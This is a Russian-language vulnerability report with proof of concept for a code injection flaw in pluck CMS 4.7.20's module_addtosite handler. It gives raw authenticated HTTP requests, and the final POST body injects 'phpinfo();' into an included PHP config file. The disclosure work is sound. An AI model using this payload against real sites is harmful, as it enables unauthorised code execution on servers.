
pluck-CMS-4.7.20-уязвимость-инъекции-кода
В admin.php функция module_addtosite перебирает весь массив $_POST, разделяет управляемые пользователем имена параметров с помощью explode('|', ...) и напрямую конкатенирует их в data/settings/themes//moduleconf.php. Этот файл впоследствии будет включён в процесс рендеринга backend-страницы и frontend-функции theme_area(). Поскольку имена параметров не прошли проверку по белому списку и экранирование, злоумышленники могут загрязнить исполняемые PHP-файлы, что приводит к уязвимости внедрения кода.
Адрес проекта: https://github.com/pluck-cms/pluck/
Среда воспроизведения: pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
Сначала установите совершенно новую среду.
Перейдите на страницу "/login.php", войдите в учётную запись администратора, и после успешного входа запишите текущий Cookie следующим образом: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11